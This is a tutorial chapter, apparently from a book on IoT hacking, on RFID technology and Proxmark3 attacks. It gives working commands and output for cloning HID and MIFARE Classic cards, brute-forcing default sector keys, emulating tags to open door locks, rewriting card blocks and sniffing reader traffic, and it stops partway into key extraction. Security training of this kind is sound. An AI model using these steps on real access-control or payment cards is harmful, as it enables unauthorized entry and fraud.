Part 10. Hacking radio channels. (Short range radio: RFID hacking)

13 October 2023 44 minutes Author: Lady Liberty

RFID Security: Isolation Protection and Countermeasures

IoT devices do not always need continuous wireless transmission over long distances. Manufacturers often use short-range radio technology to connect devices with inexpensive, low-power transmitters. These technologies allow devices to exchange small amounts of data over longer periods of time and are therefore well-suited for IoT devices that can save power from the power supply between data transfers. In this section, we will look at the most popular solution for short-range radio communication: radio frequency identification (RFID). It is commonly used in smart door locks and key cards to identify users.

IoT devices do not always need continuous wireless transmission over long distances. Manufacturers often use short-range radio technology to connect devices with inexpensive, low-power transmitters. These technologies allow devices to exchange small amounts of data over longer periods of time and are therefore well-suited for IoT devices that can save power from the power supply between data transfers. In this section, we will look at the most popular solution for short-range radio communication: radio frequency identification (RFID). It is commonly used in smart door locks and key cards to identify users.

RFID Vulnerabilities: Opportunities and Risks

RFID systems come in a wide variety of shapes, supported ranges, and sizes, but typically we can identify the main components shown in Figure 10.1.

The memory of the RFID tag contains information that identifies the object. The reader can read information from the tag using the power of the scanning antenna, which is usually located outside the reader and constantly generates the electromagnetic field necessary for this wireless connection. When the tag’s antenna is within range of the reader, the reader’s electromagnetic field generates an electric current to power the RFID tag. The tag can then receive commands from the RFID reader and send responses containing identification data.

Several organizations have created standards and regulations that define the radio frequency, protocols, and procedures used to exchange information using RFID technology. The following sections provide an overview of these parameters, the security principles on which they are based, and the methodology for testing RFID-enabled IoT devices.

Radio frequency bands

RFID communication uses a number of technologies that operate in specific radio frequency bands, as shown in Table 10.1.

Each of these RFID technologies follows a specific protocol. The best technology to use in a system depends on factors such as signal range, data rate, accuracy, and cost of implementation.

Passive and active RFID technologies

An RFID tag can rely on its own power source, such as a built-in battery, or be powered by a read antenna using a current induced by received radio waves. We characterize them as active or passive technologies, as shown in fig. 10.2.

Since active devices do not require external power to initiate the communication process, they operate at higher frequencies and can broadcast their signal continuously. They can also communicate over longer distances, so they are often used as tracking beacons. Passive devices operate on the three lower frequencies of the RFID spectrum.

Some special devices are semi-passive; They contain built-in power supplies capable of continuously powering the microchip of the RFID tag without requiring power from the reader signal. For this reason, such devices respond faster and have a greater reading range than passive ones.

Another way to identify differences between existing RFID technologies is to compare wavelengths. Long waves are used in low-frequency devices, and shorter waves are used in high-frequency devices (Fig. 10.3).

These RFID implementations also use antennas with very different sizes and numbers of wire turns, as shown in Table 1. 10.2. The shape of each antenna provides the best range and data rate for each wavelength used.

The structure of the RFID tag

To understand the cybersecurity threats that exist in the field of RFID tags, you need to know how these devices work. Commercial tags typically conform to international standards ISO/IEC 18000 and EPCglobal, which define a number of different RFID technologies, each using a unique frequency range.

Label classes

EPCglobal divides RFID tags into six categories. A label in each category has all the capabilities listed in the previous category, ensuring backward compatibility.

Class 0 tags are passive devices that operate in UHF bands. The supplier pre-programs them at the factory. As a result, you will not be able to change the information stored in their memory.

Class 1 tags can also operate in radio frequency bands. Also, they can only be written once after production. Many Class 1 tags can also perform a cyclic redundancy check (CRC) on received commands. The CRC is a few extra bytes at the end of commands to detect errors.

Class 2 tags can be recorded multiple times.

Class 3 tags may contain embedded sensors capable of recording environmental parameters such as current temperature or movement. These tags are semi-passive because, despite having a built-in power source, such as a built-in battery, they cannot initiate wireless communication with other tags or readers.

In contrast, class 4 tags can initiate communication with other tags of the same class, so they are considered active.

Class 5 tags are considered the most advanced, as they can power other tags and interact with tags of all previous classes. Class 5 tags can act as RFID readers.

Information stored in RFID tags

Four types of data are usually stored in the memory of an RFID tag: a) identification data identifying the object to which the tag is attached; b) additional data providing additional information about the object; (c) control data used for the internal configuration of the label; d) label manufacturer data, which includes the unique identifier of the label (UID) and information about the manufacture, type and supplier of the label. The first two types of data can be found in all commercial labels. The last two may vary depending on the label supplier.

Identification data includes user-defined fields such as bank accounts, product barcodes, and prices. They also include a number of registers defined by the standards to which the labels conform. For example, the ISO standard defines the value of an Application Family Identifier (AFI), which is a code that indicates the type of object to which a tag belongs. A luggage tag will use a different predefined AFI than a library book tag. Another important ledger, also defined by ISO, is the Data Storage Format Identifier (DSFID), which defines the logical organization of user data.

Additional data may handle other standards-defined details such as Application Identifiers (AI), ANSI MH-10 Data Identifiers (DI), and ATA Text Element Identifiers (TEI), which we will not discuss here.

RFID tags also support different types of security measures, depending on the tag manufacturer. Most of them have mechanisms that limit reading or writing to each block of user memory and to special registers containing AFI and DSFID values. These locking mechanisms use data stored in the control memory and have default passwords preconfigured by the vendor, but allow tag owners to configure their own passwords.

Low-frequency RFID tags

Low-frequency RFID devices include key cards that employees use to open doors, small glass cone-shaped tags implanted by pets, and heat-resistant RFID tags for laundries, industrial plants, and logistics. These devices use passive RFID technology and operate in the 30 to 300 kHz range, although most devices that people use every day for tracking, access or verification operate in the narrower range of 125 to 134 kHz. Low-frequency tags have a small memory capacity, low data transfer rate, weak protection against moisture and dust, unlike high-frequency technologies.

Often we use low-frequency tags for access control. The reason is that their small memory capacity allows them to store only small amounts of data, such as identifiers used for authentication. One of the more complex tags, HID’s ProxCard (Figure 10.4), uses a small number of bytes to support unique identifiers that a tag management system can use to authenticate users.

Other companies, such as NXP, with their Hitag2 tags and readers, have implemented additional security measures; For example, a mutual authentication protocol that uses a shared key to secure communication between a tag and a reader. This technology is very popular in vehicle anti-theft systems.

High-frequency RFID tags

High-frequency RFID tags are ubiquitous in applications such as payment systems and are game-changers in the world of contactless payments. Many people call this Near Field Communication (NFC), a term for devices that operate at 13.56 MHz. One of the most important NFC technologies are MIFARE cards and NFC microcontrollers integrated into mobile phones.

One of the most popular suppliers of high-frequency tags is NXP, which controls approximately 85% of the contactless technology market. Mobile devices are often equipped with NFC support. For example, the new iPhone XS and XS Max versions are equipped with the NXP 100VB27 controller. This allows the iPhone to communicate with other NFC transponders and perform tasks such as contactless payments. Additionally, NXP has several inexpensive and well-documented microcontrollers such as the PN532 that are used for research purposes. The PN532 supports read and write, peer-to-peer, and emulation modes.

NXP also develops MIFARE cards – contactless smart cards based on the ISO/IEC 14443 standard. The MIFARE brand has different families such as MIFARE Classic, MIFARE Plus, MIFARE Ultralight, MIFARE DESFire and MIFARE SAM. According to NXP, these cards implement encryption methods AES and DES/Triple-DES, while some versions such as MIFARE Classic, MIFARE SAM and MIFARE Plus also support the proprietary Crypto-1 encryption algorithm.

Attack on RFID systems using Proxmark3

In this section, we will look at a number of attacks on RFID tags. We clone tags that impersonate a legitimate person or entity. We’ll also bypass the card’s security to change the content stored on the card’s memory. Additionally, we will create a simple fuzzer that can be used against RFID-capable devices.

As a card reader, we will use Proxmark3 – a universal RFID tool with a powerful microcontroller capable of reading and emulating low-frequency and high-frequency tags ( Proxmark3 is currently under $300. USA. You can also use Proxmark3 EVO and Proxmark3 RDV4 versions of the tool. In order to read Proxmark3 power tags, you will need antennas designed for the frequency range of the specific RFID card you are reading (see Table 10.2 for images of antenna types). You can purchase these antennas from the same distributors that offer the Proxmark3.

We’ll also show you how to use free apps to turn any NFC-enabled Android device into a MIFARE card reader.

For these tests, we’ll be using the HID ProxCard, along with a number of non-programmable T55x7 and NXP MIFARE Classic 1K tags that cost less than $2. Every.

Proxmark3 settings

To use Proxmark3, you first need to install a number of necessary packages on your computer. Here’s how to do it with apt:

$ sudo apt install git build-essential libreadline5 libreadline-dev gcc-armnoneeabi libusb-0.1-4 libusb-dev libqt4-dev ncurses-dev perl pkg-config
libpcsclite-dev pcscd

Then use the git command to download the source code from the remote Proxmark3 repository. Next, navigate to its folder and run the make command to build the necessary binaries:

$ git clone
$ cd proxmark3
$ make clean && make all

You are now ready to connect the Proxmark3 to your computer using a USB cable. After that, identify the serial port to which the device is connected using dmesg command available in Kali Linux. You can use this command to get information about the hardware on your system:

$ dmesg
[44643.237094] usb 1-2.2: new full-speed USB device number 5 using uhci_hcd
[44643.355736] usb 1-2.2: New USB device found, idVendor=9ac4, idProduct=4b8f, bcdDevice= 0.01
[44643.355738] usb 1-2.2: New USB device strings: Mfr=1, Product=2, SerialNumber=0
[44643.355739] usb 1-2.2: Product: proxmark3
[44643.355740] usb 1-2.2: Manufacturer:
[44643.428687] cdc_acm 1-2.2:1.0: ttyACM0: USB ACM device

Based on the output, we know that the device is connected to serial port /dev/ttyACM0.

Proxmark3 update

As the source code of Proxmark3 changes frequently, we recommend that you update your device before using it. The device software consists of an operating system, a bootloader image, and an FPGA image. The bootloader executes the operating system, while the FPGA image is the code that executes on the embedded FPGA device.

The latest version of the bootloader is in the bootrom.elf file in the source folder. To install the bootloader, hold down the Proxmark3 button while connecting the device to the computer until the red and yellow LEDs on the device light up. Then, while holding the button, use the flasher binary in the source folder to install the image. Pass it the Proxmark3 serial interface and the -b switch as parameters to specify the path to the bootloader image:

$ ./client/flasher /dev/ttyACM0 -b ./bootrom/obj/bootrom.elf
Loading ELF file '../bootrom/obj/bootrom.elf'...
Loading usable ELF segments:
0: V 0x00100000 P 0x00100000 (0x00000200->0x00000200) [R X] @0x94
1: V 0x00200000 P 0x00100200 (0x00000c84->0x00000c84) [R X] @0x298
Waiting for Proxmark to appear on /dev/ttyACM0 .
Writing segments for file: ../bootrom/obj/bootrom.elf
0x00100000..0x001001ff [0x200 / 1 blocks]. OK
0x00100200..0x00100e83 [0xc84 / 7 blocks]....... OK
Resetting hardware...
All done.
Have a nice day!

You can find the latest versions of the operating system and the FPGA image in a single file called fullimage.elf in the source code folders. If you are using Kali Linux, you should also stop and disable ModemManager. ModemManager is a background service that manages mobile broadband devices and connections in many Linux distributions; it may interfere with connected devices such as Proxmark3. To stop and disable this service, use the systemectl command that comes with Kali Linux preinstalled:

# systemctl stop ModemManager
# systemctl disable ModemManager

You can use the Flasher tool to flash again, this time without the -b parameter.

# ./client/flasher /dev/ttyACM0 armsrc/obj/fullimage.elf
Loading ELF file 'armsrc/obj/fullimage.elf'...
Loading usable ELF segments:
0: V 0x00102000 P 0x00102000 (0x0002ef48->0x0002ef48) [R X] @0x94
1: V 0x00200000 P 0x00130f48 (0x00001908->0x00001908) [RW ] @0x2efdc
Note: Extending previous segment from 0x2ef48 to 0x30850 bytes
Waiting for Proxmark to appear on /dev/ttyACM0 .
Writing segments for file: armsrc/obj/fullimage.elf
0x00102000..0x0013284f [0x30850 / 389 blocks]......... OK
Resetting hardware...
All done.
Have a nice day!

Proxmark3 RVD 4.0 also supports a command to automate the full bootloader, operating system and FPGA upgrade process:

$ ./pm3-flash-all

To find out if the update was successful, run the Proxmark3 executable located in the client folder and pass it to the device’s serial interface:

# ./client/proxmark3 /dev/ttyACM0
Prox/RFID mark3 RFID instrument
bootrom: master/v3.1.0-150-gb41be3c-suspect 2019-10-29 14:22:59
os: master/v3.1.0-150-gb41be3c-suspect 2019-10-29 14:23:00
fpga_lf.bit built for 2s30vq100 on 2015/03/06 at 07:38:04
fpga_hf.bit built for 2s30vq100 on 2019/10/06 at 16:19:20
SmartCard Slot: not available
uC: AT91SAM7S512 Rev B
Embedded Processor: ARM7TDMI
Nonvolatile Program Memory Size: 512K bytes. Used: 206927 bytes (39%). Free: 317361 bytes
Second Nonvolatile Program Memory Size: None
Internal SRAM Size: 64K bytes
Architecture Identifier: AT91SAM7Sxx Series
Nonvolatile Program Memory Type: Embedded Flash Memory

The command must display the device attributes, such as the embedded processor type, memory size, and architecture ID, followed by the query.

Definition of low and high frequency maps

Now let’s learn how to identify different types of RFID cards. Proxmark3 software comes preloaded with a list of known RFID cards from various manufacturers and supports specific commands that can be used to control these cards.

Before using the Proxmark3, connect it to an antenna that matches the card type. If you are using the new Proxmark3 RVD 4.0 model, the antennas will look a little different because they are more compact. Consult the vendor’s documentation to determine the correct option for each case.

All Proxmark3 commands start with either the lf parameter to interact with low-frequency maps, or the hf parameter to interact with high-frequency maps. Use the search option to identify known maps. In the example below, we use Proxmark3 to recognize the Hitag2 low-frequency map:

proxmark3> lf search
Checking for known tags:
Valid Hitag2 tag found - UID: 01080100

The following command recognizes the high-frequency NXP ICode SLIX tag:

proxmark3> hf search
UID: E0040150686F4CD5
Manufacturer byte: 04, NXP Semiconductors Germany
Chip ID: 01, IC SL2 ICS20/ICS21(SLI) ICS2002/ICS2102(SLIX)
Valid ISO15693 Tag Found - Quiting Search

Depending on the label vendor, the command results may also include the manufacturer, chip ID number, or known vulnerabilities associated with the label.

Cloning of low-frequency labels

Let’s try to clone the label, starting with the low-frequency version. Low frequency cards available in the market include HID ProxCard, Cotag, Awid, Indala and Hitag among others, but the most common are HID ProxCard. In this section, we will clone a ProxCard using Proxmark3 and then create a new tag containing the same data. You can use this tag to spoof an object with a legitimate tag, such as a company employee, and unlock the smart door lock of a corporate building.

To begin, use the command to search for low-frequency maps that are in range of Proxmark3. If the manufacturer of the detected card is HID, the result will usually look like this:

proxmark3> lf search
Checking for known tags:
HID Prox TAG ID: 2004246b3a (13725) - Format Len: 26bit - FC: 18 - Card: 13725
[+] Valid HID Prox ID Found!

Next, learn the manufacturer-specific commands for HID devices by specifying the hid parameter:

proxmark3> lf hid
help this help
demod demodulate HID Prox tag from the GraphBuffer
read attempt to read and extract tag data
clone clone HID to T55x7
sim simulate HID tag
wiegand convert facility code/card number to Wiegand code
brute bruteforce card number against reader

Now try to read these labels:

proxmark3> lf hid read
HID Prox TAG ID: 2004246b3a (13725) - Format Len: 26bit - FC: 18 - Card: 13725

The command must return an exact HID tag identifier.

To clone this tag with Proxmark3, use a blank or previously unprogrammed T55x7 card. These cards are usually compatible with EM4100, HID and Indala technologies. Place the T55x7 over the LF antenna and run the following command, passing it the tag ID you want to clone:

proxmark3> lf hid clone 2004246b3a
Cloning tag with ID 2004246b3a

Now you can use the T55x7 card as if it were original.

Cloning of high-frequency labels

Although high-frequency technologies provide better security than low-frequency technologies, incorrect or early implementations can be vulnerable to attack. For example, MIFARE Classic cards are among the most vulnerable high-frequency cards because they use default keys and their own insecure cryptographic engine. In this section, we will look at the process of cloning a MIFARE Classic card.

Classic MIFARE memory allocation

To understand the possible MIFARE Classic attack vectors, let’s analyze the memory allocation in the simplest MIFARE Classic 1KB card (Fig. 10.5).

The 1 KB MIFARE Classic card has 16 sectors. Each sector occupies four blocks, and each block contains 16 bytes. The manufacturer stores the UID of the card in sector 0 of block 0, which you cannot change.

You will need two keys to access each sector, A and B. The keys can be different, but many implementations use default keys (FFFFFFFFFFFF is one such key). These keys are stored in block 3 of each sector called  sector trailer. The sector trailer also stores access bits that set the read and write permissions for each two-key block.

To understand why it is useful to have two keys, let’s look at an example: the maps we use to travel in the subway. These cards can allow an RFID reader to read all data blocks with key power A or B, but only write to them with key power B. As a result, an RFID reader on a turnstile with only key A can read the card data, unlock the turnstile for users with sufficient balance and reduce your balance. But you will need a special terminal with the B key to record or increase user balances. The cashier at the station is the only person who can operate this terminal.

The access bits are located between the two types of keys. If a company misconfigures these bits, such as inadvertently granting write permissions, attackers can tamper with the sector block data. In the table Figure 10.3 lists the possible access control permissions that can be determined by the strength of these access bits.

You can use various methods to manipulate MIFARE Classic cards, as well as special hardware such as Proxmark3 or Arduino with PN532 board. Even less sophisticated hardware such as an Android smartphone may be sufficient to copy, clone and reproduce a MIFARE Classic map, but many hardware researchers prefer Proxmark3 over other solutions due to the preloaded commands.

To view the attacks you can perform against MIFARE Classic, use the hf mf command:

proxmark3> hf mf
help This help
darkside Darkside attack. read parity error messages.
nested Nested attack. Test nested authentication
hardnested Nested attack for hardened MIFARE cards
keybrute J_Run's 2nd phase of multiple sector nested authentication key recovery
nack Test for MIFARE NACK bug
chk Check keys
fchk Check keys fast, targets all keys on card
decrypt [nt] [ar_enc] [at_enc] [data] - to decrypt snoop or trace
dbg Set default debug mode

Most of these commands implement brute-force attacks on the authentication protocol in use (such as the chk and fchk commands) or attack known vulnerabilities (such as the nack, darkside, and hardnested commands). In Chapter     15 we will use the darkside command.

Cracking of keys by the method of sorting

To read the memory blocks of the MIFARE card, you need to find the keys for each of the 16 sectors. The easiest way to do this is to perform a brute force attack and try to authenticate using a standard keylist. Proxmark3 has a special command for this attack – chk (short for check). This command uses a list of known passwords to attempt to read the card.

To perform this attack, first select the commands in the high frequency band with the power of the hf parameter, then the mf parameter, which will show you the commands for the MIFARE cards. Then add  the chk parameter to choose a brute force attack. You should also specify the number of blocks you are targeting. This can be a parameter from 0x00 to 0xFF, or a * character that separates all blocks,  followed by a number indicating the amount of memory for the label (0 = 320 bytes, 1 = 1 KB, 2 = 2 KB, and 4 = 4 KB ).

Next, specify the key type: A for type A keys, B for type B keys, and ? You can also use the d option to write the identified keys to a binary file, or the t option to load the identified keys directly into the Proxmark3 emulator memory for later use, such as reading specific blocks or sectors.

Next, you can specify either a space-separated list of keys or a file that contains those keys. Proxmark3 includes a default list in the source folder at ./client/default_keys.dic. If you don’t provide your own key list or file, Proxmark3 will use that file to check the 17 most common keys by default.

Here’s an example of a matching attack:

$ proxmark3> hf mf chk *1 ? t ./client/default_keys.dic
--chk keys. sectors:16, block no: 0, key type:B, eml:n, dmp=y checktimeout=471 us
chk custom key[ 0] FFFFFFFFFFFF
chk custom key[ 1] 000000000000
chk custom key[91] a9f953def0a3
To cancel this operation press the button on the proxmark...
|sec|key A |res|key B |res|
32 keys(s) found have been transferred to the emulator memory

If the command is executed successfully, a table with A and B keys for 16 sectors is displayed. If you used option B, Proxmark3 will store the keys in a file called dmppedkeys.bin, and the output will look like this:

Found keys have been dumped to file dumpkeys.bin.

Recent versions of Proxmark3, such as RVD 4.0, support an optimized version of the same command called fchk. It takes two parameters: the tag memory size and a t (transfer) parameter that can be used to load the keys into Proxmark3 memory:

proxmark3> hf mf fchk 1 t
[+] No key specified, trying default keys
[ 1] 000000000000
[ 2] a0a1a2a3a4a5
[ 3] b0b1b2b3b4b5

Reading and cloning of map data

With the help of keys, you can start reading sectors or blocks with the power of the rdbl parameter. The following command reads block number 0 using the A FFFFFFFFFFFF key:

proxmark3> hf mf rdbl 0 A FFFFFFFFFFFF
--block no:0, key type:A, key:FF FF FF FF FF FF
data: B4 6F 6F 79 CD 08 04 00 01 2A 51 62 0B D9 BB 1D

You can read the entire sector using the same method with the hf mf rdsc command:

proxmark3> hf mf rdsc 0 A FFFFFFFFFFFF
--sector no:0 key type:A key:FF FF FF FF FF FF
data : B4 6F 6F 79 CD 08 04 00 01 2A 51 62 0B D9 BB 1D
data : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
data : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
trailer: 00 00 00 00 00 00 FF 07 80 69 FF FF FF FF FF FF
Trailer decoded:
Access block 0: rdAB wrAB incAB dectrAB
Access block 1: rdAB wrAB incAB dectrAB
Access block 2: rdAB wrAB incAB dectrAB
Access block 3: wrAbyA rdCbyA wrCbyA rdBbyA wrBbyA
UserData: 69

To clone a MIFARE map, use the dump option. This option writes a file with all information from the source map. You can save and reuse this file later to create a new, fresh copy of the original map.

The dump option allows you to specify a file name or map type that you want to dump. Just pass the memory card size. In this example, we use 1 for a memory size of 1KB (although since 1 is the default size, it can be omitted). The command uses the keys we saved in the dumpkeys.bin file to access the map:

proxmark3> hf mf dump 1
[=] Reading sector access bits...
[+] Finished reading sector access bits
[=] Dumping all blocks from card...
[+] successfully read block 0 of sector 0.
[+] successfully read block 1 of sector 0.
[+] successfully read block 3 of sector 15.
[+] time: 35 seconds
[+] Succeeded in dumping all blocks
[+] saved 1024 bytes to binary file hf-mf-B46F6F79-data.bin

This command saves the data to a file called hf-mf-B46F6F79data.bin. You can transfer .bin files directly to another RFID tag.

Some Proxmark3 firmware supported by third-party developers store data in two more files with the extensions .eml and .json. You can load the .eml file into Proxmark3 memory for later use, and use the .json file with third-party software and other RFID emulation devices such as ChameleonMini. This data can be easily converted from one file format to another, either manually or using a series of automated scripts, which we’ll cover in Automating RFID Attacks with Proxmark3’s Scripting Capabilities.

To copy the saved data to a new card, place the card in range of the Proxmark3 antenna and use the Proxmark3 restore option:

proxmark3> hf mf restore
[=] Restoring hf-mf-B46F6F79-data.bin to card
Writing to block 0: B4 6F 6F 79 CD 08 04 00 01 2A 51 62 0B D9 BB 1D
[+] isOk:00
Writing to block 1: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[+] isOk:01
Writing to block 2: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Writing to block 63: FF FF FF FF FF FF FF 07 80 69 FF FF FF FF FF FF
[+] isOk:01
[=] Finish restore

The map does not have to be empty for this command to work, but the restore command again uses the dumpkeys.bin file to access the map. If the current map keys are different from the keys stored in the dumpkeys.bin file, the write operation will fail.

Imitation of an RFID tag

In the previous example, we cloned an RFID tag by saving the original tag data to files using the dump command and using a new map to restore the extracted data. But it is also possible to simulate an RFID tag using the power of Proxmark3, extracting data directly from the device’s memory.

Load previously saved MIFARE tag content into Proxmark3 memory using the load option. Specify the name of the .eml file where the extracted data is stored:

proxmark3> hf mf eload hf-mf-B46F6F79-data

Note that this command sometimes fails to transfer data from all saved sectors to Proxmark3 memory. In this case, you will receive an error message. Repeated use of the command will resolve this issue and complete the migration successfully.

The sim parameter is used to simulate an RFID tag using data from the device’s memory:

proxmark3> hf mf sim *1 u 8c61b5b4
mf sim cardsize: 1K, uid: 8c 61 b5 b4 , numreads:0, flags:3 (0x03)
#db# 4B UID: 8c61b5b4
#db# SAK: 08
#db# ATQA: 00 04

The symbol * highlights all blocks of the tag, and the next number indicates the amount of memory (in this case, 1 is 1 KB for MIFARE Classic).

The u parameter specifies the UID of the simulated RFID tag.

Many IoT devices, such as smart door locks, use UID tags to control room access. These locks are based on a list of tag IDs associated with specific people who are allowed to open the door. For example, a lock on an office door can only be opened when an RFID tag with UID 8c61b5b4, known to belong to a legitimate employee, is held up to the lock.

The correct UID can be found by simulating labels with random UID values. This can work if the tags you want to crack use UIDs with a small range of values, and duplicates are possible.

Changing the content of RFID tags

In some cases, it is useful to change the contents of a particular block or sector. For example, a more advanced office door lock will not simply check the tag’s UID; It will also check for a specific value associated with a valid employee stored in one of the label blocks. As in the example in the section “Modeling RFID tags”, choosing an arbitrary value can allow you to bypass access control.

To modify a specific MIFARE block for a tag stored in Proxmark3 memory, use the eset parameter followed by the block number and the content to add to the block in hex. In this example, we will set the value 000102030405060708090a0b0c0d0e0f in block number 01:

proxmark3> hf mf eset 01 000102030405060708090a0b0c0d0e0f

To check the result, use the eget command, then re-enter the block number:

proxmark3> hf mf eget 01
data[ 1]:00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f

You can now use the sim command again to simulate the changed label. You can also change the memory contents of the simulated physical label using the wrbl parameter, followed by the block number, the type of key used (A or B) – which defaults to FFFFFFFFFFFF in this case – and the contents in hexadecimal:

proxmark3> hf mf wrbl 01 B FFFFFFFFFFFF 000102030405060708090a0b0c0d0e0f
--block no:1, key type:B, key:ff ff ff ff ff ff
--data: 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f

Verify that a specific block has been written with the rdbl parameter followed by the block number 01 with a type B key of FFFFFFFFFFFF:

proxmark3> hf mf rdbl 01 B FFFFFFFFFFFF
--block no:1, key type:B, key:ff ff ff ff ff ff
isOk:01 data:00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f

The result contains the same hexadecimal content that you wrote to this block.

We attack MIFARE using an application for Android

Android phones can run apps that attack MIFARE cards. One common use for this is the MIFARE Classic Tool, which uses a pre-loaded key list to iterate through the key values and read the map data. You can then save the data to emulate the device in the future.

To read the tag, press the READ TAG button in the main menu of the program. A new interface should appear. From here you can select a list containing the default keys for testing and a progress bar as shown in Fig. 10.6.

Save this data to a new record by clicking the diskette icon at the top of the interface. To clone a tag, click the WRITE TAG button in the main menu. In the new interface, select a record by clicking the SELECT DUMP button and write it to another label. After a successful reading operation, the program displays the data received from all blocks on the screen, as shown in fig. 10.7.

RAW commands for unbranded or non-commercial RFID tags

In the previous sections, we used vendor-specific commands to manage commercial RFID tags with Proxmark3. But IoT systems sometimes use unbranded (no name) or non-commercial tags. In this case, you can use Proxmark3 to send atypical raw commands. Raw commands are very useful when you can get command structures from the mark data table and those commands are not yet implemented in Proxmark3.

Instead, in the following example, to  use the hf mf command as we did in previous sections, we will use raw commands to read a 1KB MIFARE Classic tag.

Identification of the card and familiarization with its specification

First, use the hf search command to make sure the map is within range of the reader:

proxmark3> hf search
UID : 80 55 4b 6c
ATQA : 00 04
SAK : 08 [2]
proprietary non iso14443-4 card found, RATS not supported
No chinese magic backdoor command detected
Prng detection: WEAK
Valid ISO14443A Tag Found - Quiting Search

Then check the specification of the card which you can find on the vendor’s website ( and -note/AN10833.pdf)). According to the specification, to establish a connection with the card and perform a memory operation, we must follow the protocol shown in Fig. 10.8.

According to the protocol, four commands are required to establish an authenticated connection with a MIFARE tag. The first command, Request all or REQA, causes the tag to respond with a code that includes the size of the tag’s UID. In the collision avoidance phase of the cycle, the reader requests the UID of all tags in the working field, and in the card selection phase, it selects a single tag for further operations. The reader then specifies a memory location of the tag for the memory access operation and is authenticated with the corresponding key. The authentication process will be described below in the section “Extracting the sector key from intercepted traffic”.

Sending raw commands

Using raw commands means that you will be manually sending each specific byte of the command (or part of it), the corresponding command data, and eventually the CRC bytes for the cards that need error detection. For example, the Proxmark3 hf 14a raw command allows you to send ISO14443A commands to an ISO14443A-compliant label. Next, you enter the raw commands in hexadecimal after the -p option.

You will need the hexadecimal opcodes for the commands you want to use. You can find them in the card specification. These opcodes correspond to the authentication protocol steps shown in Figure 1. 10.8.

First, use the hf 14a raw command with the -p option. Then send the request all command, which corresponds to the hexadecimal opcode 26. The specification requires 7 bits, so use the -b 7 option to specify the maximum number of bits to use. The default value is 8 bits.

proxmark3> hf 14a raw -p -b 7 26
received 2 bytes:
04 00

The device responds with a success message called ATQA with a value of 0x4. This byte indicates that the UID is four bytes in size. The second command is Anti-collision, which corresponds to the hexadecimal operation code 93 20:

proxmark3> hf 14a raw -p 93 20
received 5 bytes:
80 55 4B 6C F2

The device responds with its UID 80 55 4b 6c. It also returns the byte generated by XORing all previous bytes. Now we need to send the SELECT Card command that corresponds to the hex opcode 93 70, followed by the previous response that contains the tag UID:

proxmark3> hf 14a raw -p -c 93 70 80 55 4B 6C F2
received 3 bytes:
08 B6 DD

Finally, you’re ready to authenticate with a sector key of type A (hex opcode 60) and the default password for sector 00:

proxmark3> hf 14a raw -p -c 60 00
received 4 bytes:
5C 06 32 57

You can now proceed with other memory operations listed in the specification, such as reading a block. We suggest you do this exercise yourself.

Eavesdropping on the communication between the tag and the reader

Proxmark3 can listen to transactions between the reader and the tag. This operation is extremely useful if you want to verify the data exchanged between a tag and an IoT device.

To begin snooping on the communication channel, place the Proxmark3 antenna between the tag and the reader, select high-frequency or low-frequency operation, specify the tag implementation, and use the snoop option. (Some vendor-specific labels use the smell attribute.)

In the example below, we are trying to intercept the exchange of an ISO14443A-compliant label, so we choose option 14a:

$ proxmark3> hf 14a snoop
#db# cancelled by button
#db# maxDataLen=4, Uart.state=0, Uart.len=0
#db# traceLen=11848, Uart.output[0]=00000093

We complete the capture by pressing the Proxmark3 button when the connection between the card and the reader is complete. To get captured packets, specify a high or low operation frequency, a list parameter, and a label implementation:

proxmark3> hf list 14a
Recorded Activity (TraceLen = 11848 bytes)
Start = Start of Start Bit, End = End of last modulation. Src = Source of Transfer
iso14443a - All times are in carrier periods (1/13.56Mhz)
iClass - Timings are not as accurate
0 |992 | Rdr | 52' | | WUPA
2228 | 4596 | Tag | 04 00 | |
7040 | 9504 | Rdr | 93 20 | | ANTICOLL
10676 | 16564 | Tag | 80 55 4b 6c f2 | |
19200 | 29728 | Rdr | 93 70 80 55 4b 6c f2 30 df | ok | SELECT_UID
30900 | 34420 | Tag | 08 b6 dd | |
36224 | 40928 | Rdr | 60 00 f5 7b | ok | AUTH-A(0)
42548 | 47220 | Tag | 63 17 ec f0 | |
56832 | 66208 | Rdr | 5f! 3e! fb d2 94! 0e! 94 6b | !crc| ?
67380 | 72116 | Tag | 0e 2b b8 3f! | |

Output also decodes defined operations. Exclamation marks next to hexadecimal bytes indicate that a bit error occurred during capture.

Extracting the sector key from intercepted traffic

Eavesdropping on RFID traffic can reveal sensitive information, especially when tags use weak authentication elements or unencrypted communication channels. Since MIFARE Classic tags use a weak authentication protocol, you can extract the private sector key by performing a one-time successful authentication between the tag and the RFID reader.

According to the specification, MIFARE Classic tags perform three-way authentication control using an RFID reader for each requested sector. First, the RFID tag selects a parameter named nt and sends it to the RFID reader. The reader performs a cryptographic operation using the private key  and the received parameter. It generates an ar response. It then selects a parameter called nr and sends it to the RFID tag along with  ar. The tag then performs a similar cryptographic operation on the parameters and private key, generating a response that is sent back to the RFID reader. Since the cryptographic operations performed by the reader and the tag are weak, knowing these parameters allows you to calculate the private key!

Let’s look at the message interception done in the previous section to obtain the following exchange parameters:

proxmark3> hf list 14a
Start = Start of Start Bit, End = End of last modulation. Src = Source of Transfer
iso14443a - All times are in carrier periods (1/13.56Mhz)
iClass - Timings are not as accurate
 Start |End | Src | Data (! denotes parity error, ' denotes short bytes)| CRC | Annotation |
 0 |992 | Rdr | 52' | | WUPA
 2228 | 4596 | Tag | 04 00 | |
 7040 | 9504 | Rdr | 93 20 | | ANTICOLL
 10676 | 16564 | Tag | 80 55 4b 6c f2 | | 
 19200 | 29728 | Rdr | 93 70 80 55 4b 6c f2 30 df | ok | SELECT_UID
 30900 | 34420 | Tag | 08 b6 dd | |
 36224 | 40928 | Rdr | 60 00 f5 7b | ok | AUTH-A(0)
 42548 | 47220 | Tag | 63 17 ec f0 | | 
 56832 | 66208 | Rdr | 5f! 3e! fb d2 94! 0e! 94 6b | !crc| ? 
 67380 | 72116 | Tag | 0e 2b b8 3f! | |

